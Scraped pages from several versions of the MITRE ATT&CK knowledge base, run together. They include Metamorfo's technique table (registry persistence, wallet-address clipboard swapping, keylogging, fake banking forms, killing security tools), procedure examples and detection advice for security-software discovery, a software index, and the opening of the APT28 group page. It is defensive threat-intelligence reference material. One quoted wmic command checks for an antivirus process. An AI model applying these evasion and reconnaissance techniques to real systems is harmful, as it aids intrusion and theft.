Associated Software Descriptions Name Description Casbaneiro [2] ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Application Layer Protocol: Web Protocols Metamorfo has used HTTP for C2.[1][2] Enterprise T Application Window Discovery Metamorfo can enumerate all windows on the victim’s machine.[3][4] Enterprise T Automated Collection Metamorfo has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.[3] Enterprise T . Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Metamorfo has configured persistence to the Registry ket HKCU\Software\Microsoft\Windows\CurrentVersion\Run, Spotify =% APPDATA%\Spotify\Spotify.exe and used .LNK files in the startup folder to achieve persistence.[1][3][4][2] Enterprise T Clipboard Data Metamorfo has a function to hijack data from the clipboard by monitoring the contents of the clipboard and replacing the cryptocurrency wallet with the attacker's.[4][2] Enterprise T . Command and Scripting Interpreter: Windows Command Shell Metamorfo has used cmd.exe /c to execute files.[1] . Command and Scripting Interpreter: Visual Basic Metamorfo has used VBS code on victims’ systems.[3] . Command and Scripting Interpreter: JavaScript Metamorfo includes payloads written in JavaScript.[1] Enterprise T . Data Manipulation: Transmitted Data Manipulation Metamorfo has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.[4][2] Enterprise T Deobfuscate/Decode Files or Information Upon execution, Metamorfo has unzipped itself after being downloaded to the system and has performed string decryption.[1][3][2] Enterprise T . Encrypted Channel: Symmetric Cryptography Metamorfo has encrypted C2 commands with AES-256.[2] . Encrypted Channel: Asymmetric Cryptography Metamorfo's C2 communication has been encrypted using OpenSSL.[1] Enterprise T Exfiltration Over C2 Channel Metamorfo can send the data it collects to the C2 server.[2] Enterprise T File and Directory Discovery Metamorfo has searched the Program Files directories for specific folders and has searched for strings related to its mutexes.[1][4][3] Enterprise T . Hide Artifacts: Hidden Window Metamorfo has hidden its GUI using the ShowWindow() WINAPI call.[1] Enterprise T . Hijack Execution Flow: DLL Side-Loading Metamorfo has side-loaded its malicious DLL file.[1][3][2] Enterprise T . Impair Defenses: Disable or Modify Tools Metamorfo has a function to kill processes associated with defenses and can prevent certain processes from launching.[1][3] Enterprise T Indicator Removal Metamorfo has a command to delete a Registry key it uses, \Software\Microsoft\Internet Explorer\notes.[3] . File Deletion Metamorfo has deleted itself from the system after execution.[1][4] Enterprise T Ingress Tool Transfer Metamorfo has used MSI files to download additional files to execute.[1][3][4][2] Enterprise T . Input Capture: Keylogging Metamorfo has a command to launch a keylogger and capture keystrokes on the victim’s machine.[4][2] . Input Capture: GUI Input Capture Metamorfo has displayed fake forms on top of banking sites to intercept credentials from victims.[3] Enterprise T . Masquerading: Match Legitimate Name or Location Metamorfo has disguised an MSI file as the Adobe Acrobat Reader Installer and has masqueraded payloads as OneDrive, WhatsApp, or Spotify, for example.[1][2] Enterprise T Modify Registry Metamorfo has written process names to the Registry, disabled IE browser features, deleted Registry keys, and changed the ExtendedUIHoverTime key.[1][4][3][2] Enterprise T Native API Metamorfo has used native WINAPI calls.[1][4] Enterprise T Non-Application Layer Protocol Metamorfo has used raw TCP for C2.[3] Enterprise T Non-Standard Port Metamorfo has communicated with hosts over raw TCP on port 9999.[3] Enterprise T Obfuscated Files or Information Metamorfo has encrypted payloads and strings.[1][2] . Software Packing Metamorfo has used VMProtect to pack and protect files.[4] Enterprise T . Phishing: Spearphishing Attachment Metamorfo has been delivered to victims via emails with malicious HTML attachments.[3][2] Enterprise T Process Discovery Metamorfo has performed process name checks and has monitored applications.[1] Enterprise T . Process Injection: Dynamic-link Library Injection Metamorfo has injected
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versions_v13_software_S0455.txt
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of the "360 Total Security" antivirus tool).[79] S PipeMon PipeMon can check for the presence of ESET and Kaspersky security software.[80] S POWERSTATS POWERSTATS has detected security tools.[81] S POWRUNER POWRUNER may collect information on the victim's anti-virus software.[82] S Prikormka A module in Prikormka collects information from the victim about installed anti-virus software.[83] S PUNCHBUGGY PUNCHBUGGY can gather AVs registered in the system.[84] S QakBot QakBot can identify the installed antivirus product on a targeted system.[85][86][86][87] S Remsec Remsec has a plugin detect security products via active drivers.[88] G Rocke Rocke used scripts which detected and uninstalled antivirus software.[89][90] S RogueRobin RogueRobin enumerates running processes to search for Wireshark and Windows Sysinternals suite.[91][92] S RTM RTM can obtain information about security software on the victim.[93] G SideCopy SideCopy uses a loader DLL file to collect AV product names from an infected host.[2] G Sidewinder Sidewinder has used the Windows service winmgmts:\.\root\SecurityCenter2 to check installed antivirus products.[94] S SILENTTRINITY SILENTTRINITY can determine if an anti-virus product is installed through the resolution of the service's virtual SID.[95] S Skidmap Skidmap has the ability to check if /usr/sbin/setenforce exists. This file controls what mode SELinux is in.[96] S SpicyOmelette SpicyOmelette can check for the presence of 29 different antivirus tools.[97] S StoneDrill StoneDrill can check for antivirus and antimalware programs.[98] S StreamEx StreamEx has the ability to scan for security tools such as firewalls and antivirus tools.[99] S StrongPity StrongPity can identify if ESET or BitDefender antivirus are installed before dropping its payload.[100] S Stuxnet Stuxnet enumerates the currently running processes related to a variety of security products.[101] S SUNBURST SUNBURST checked for a variety of antivirus/endpoint detection agents prior to execution.[102][103] S T T9000 performs checks for various antivirus and security products during installation.[104] G TA TA2541 has used tools to search victim systems for security products such as antivirus and firewall software.[105] S TajMahal TajMahal has the ability to identify which anti-virus products, firewalls, and anti-spyware products are in use.[106] S Tasklist Tasklist can be used to enumerate security software currently running on a system by process name of known products.[107] G TeamTNT TeamTNT has searched for security products on infected machines.[108][109] G The White Company The White Company has checked for specific antivirus products on the target’s computer, including Kaspersky, Quick Heal, AVG, BitDefender, Avira, Sophos, Avast!, and ESET.[110] S ThiefQuest ThiefQuest uses the kill_unwanted function to get a list of running processes, compares each process with an encrypted list of "unwanted" security related programs, and kills the processes for security related programs.[111] G ToddyCat ToddyCat can determine is Kaspersky software is running on an endpoint by running cmd /c wmic process where name="avp.exe".[112] G Tropic Trooper Tropic Trooper can search for anti-virus software running on the system.[113] G Turla Turla has obtained information on security software, including security logging information that may indicate whether their malware has been detected.[114] S Valak Valak can determine if a compromised host has security products installed.[115] S VERMIN VERMIN uses WMI to check for anti-virus software installed on the system.[116] S Waterbear Waterbear can find the presence of a specific security software.[117] S WhisperGate WhisperGate can recognize the presence of monitoring tools on a target system.[118] G Windshift Windshift has used malware to identify installed AV and commonly used forensic and malware analysis tools.[119] S Wingbird Wingbird checks for the presence of Bitdefender security software.[120] G Wizard Spider Wizard Spider has used WMI to identify anti-virus products installed on a victim's machine.[121] S Woody RAT Woody RAT can detect Avast Software, Doctor Web, Kaspersky, AVG, ESET, and Sophos antivirus programs.[122] S xCaon xCaon has checked for the existence of Kaspersky antivirus software on the system.[123] S XCSSET XCSSET searches firewall configuration files located in /Library/Preferences/ and uses csrutil status to determine if System Integrity Protection is enabled.[124] S YAHOYAH YAHOYAH checks for antimalware solution processes on the system.[125] S Zeus Panda Zeus Panda checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim’s environment.[126][127] S ZxxZ ZxxZ can search a compromised host to determine if it is running Windows Defender or Kasperky antivirus.[128] Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Detection ID Data Source Data Component Detects DS Command Command Execution Monitor executed commands and arguments that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. Note: For Windows, Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on potential Security Software Discovery. DS Firewall Firewall Enumeration Monitor for an extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands) Firewall Metadata Monitor for contextual data about a firewall and activity around it such as name, policy, or status DS Process OS API Execution Monitor for API calls that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. OS API calls associated with LSASS process dumping include EnumProcesses, which can be used to enumerate the set of processes running on a host and filtered to look for security-specific processes. Note: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. Process Creation Monitor newly executed processes that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. References - Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020. - Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022. - Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022. - Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022. - DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021. - Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022. - Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019. - Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018. - Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020. - Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021. - Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023. - Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022. - Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022. - Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022. - Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020. - FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. - Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021. - Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021. - Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018. - Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018. - Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020. - F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015. - Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016. - Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021. - Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024. - Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018. - Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021. - Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022. - Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022. - ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016. - Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.
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versions_v15_techniques_T1518_001.txt
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Currently viewing ATT&CK v11.3 which was live between April 25, 2022 and October 24, 2022. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT AADInternals ABK ACAD/Medre.A adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper Cachedump CaddyWiper Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger CharmPower ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Chrommme Circles Clambling Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Cyclops Blink Dacls DarkComet DarkWatchman Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Diavol Dipsind DOGCALL Dok Doki Donut DoubleAgent down_new Downdelph DownPaper DRATzarus DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Ferocious Fgdump Final1stspy FinFisher FIVEHANDS Flagpro Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE FoggyWeb Forfiles FrameworkPOS FrozenCell FruitFly ftp FYAnti Fysbis Gazer Gelsemium GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT Green Lambert GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox HermeticWiper HermeticWizard Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos KOCTOPUS Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LitePower Lizar LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Meteor Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Mythic Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Neoichor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pandora Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Peirates Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLC-Blaster PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerPunch PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa QakBot QUADAGENT QuasarRAT QuietSieve Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RCSession RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun ROADTools RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SILENTTRINITY SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo SysUpdate T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest ThreatNeedle Tiktok Pro TinyTurla TINYTYPHON TinyZBot Tomiris Tor Torisma TrailBlazer Triada TrickBot TrickMo Triton Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer VPNFilter WannaCry WarzoneRAT WastedLocker Waterbear WEBC WellMail WellMess Wevtutil WhisperGate Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib Zox zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B AADInternals ABK ACAD/Medre.A adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper C-D Cachedump CaddyWiper Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger CharmPower ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Chrommme Circles Clambling Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Cyclops Blink Dacls DarkComet DarkWatchman Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Diavol Dipsind DOGCALL Dok Doki Donut DoubleAgent down_new Downdelph DownPaper DRATzarus DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre E-F Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Ferocious Fgdump Final1stspy FinFisher FIVEHANDS Flagpro Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE FoggyWeb Forfiles FrameworkPOS FrozenCell FruitFly ftp FYAnti Fysbis G-H Gazer Gelsemium GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT Green Lambert GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox HermeticWiper HermeticWizard Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack I-J IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy K-L KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos KOCTOPUS Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LitePower Lizar LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid M-N Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Meteor Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Mythic Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Neoichor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pandora Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Peirates Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLC-Blaster PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerPunch PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa Q-R QakBot QUADAGENT QuasarRAT QuietSieve Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RCSession RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun ROADTools RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SILENTTRINITY SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo SysUpdate T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest ThreatNeedle Tiktok Pro TinyTurla TINYTYPHON TinyZBot Tomiris Tor Torisma TrailBlazer Triada TrickBot TrickMo Triton Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer VPNFilter W-X WannaCry WarzoneRAT WastedLocker Waterbear WEBC WellMail WellMess Wevtutil WhisperGate Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib Zox
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versions_v11_software_S0208.txt
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Currently viewing ATT&CK v5.2 which was live between July 31, 2019 and October 23, 2019. Learn more about the versioning system or see the live site. Register to stream ATT&CKcon 2.0 October 29- GROUPS Overview admin@ APT APT APT APT APT APT APT APT APT APT APT APT APT APT APT Axiom BlackOasis BRONZE BUTLER Carbanak Charming Kitten Cleaver Cobalt Group CopyKittens Dark Caracal Darkhotel DarkHydrus Deep Panda Dragonfly Dragonfly 2. DragonOK Dust Storm Elderwood Equation FIN FIN FIN FIN FIN FIN Gallmaker Gamaredon Group GCMAN Gorgon Group Group Honeybee Ke3chang Lazarus Group Leafminer Leviathan Lotus Blossom Magic Hound menuPass Moafee Molerats MuddyWater Naikon NEODYMIUM Night Dragon OilRig Orangeworm Patchwork PittyTiger PLATINUM Poseidon Group PROMETHIUM Putter Panda Rancor RTM Sandworm Team Scarlet Mimic Silence SilverTerrier Soft Cell Sowbug Stealth Falcon Stolen Pencil Strider Suckfly TA TA Taidoor TEMP.Veles The White Company Threat Group- Threat Group- Thrip Tropic Trooper Turla Winnti Group WIRTE Overview A-B admin@ APT APT APT APT APT APT APT APT APT APT APT APT APT APT APT Axiom BlackOasis BRONZE BUTLER C-D Carbanak Charming Kitten Cleaver Cobalt Group CopyKittens Dark Caracal Darkhotel DarkHydrus Deep Panda Dragonfly Dragonfly 2. DragonOK Dust Storm E-F Elderwood Equation FIN FIN FIN FIN FIN FIN G-H Gallmaker Gamaredon Group GCMAN Gorgon Group Group Honeybee I-J No groups K-L Ke3chang Lazarus Group Leafminer Leviathan Lotus Blossom M-N Magic Hound menuPass Moafee Molerats MuddyWater Naikon NEODYMIUM Night Dragon O-P OilRig Orangeworm Patchwork PittyTiger PLATINUM Poseidon Group PROMETHIUM Putter Panda Q-R Rancor RTM S-T Sandworm Team Scarlet Mimic Silence SilverTerrier Soft Cell Sowbug Stealth Falcon Stolen Pencil Strider Suckfly TA TA Taidoor TEMP.Veles The White Company Threat Group- Threat Group- Thrip Tropic Trooper Turla U-V No groups W-X Winnti Group WIRTE Y-Z No groups - Home - Groups - APT APT APT28 is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. APT28 has been active since at least 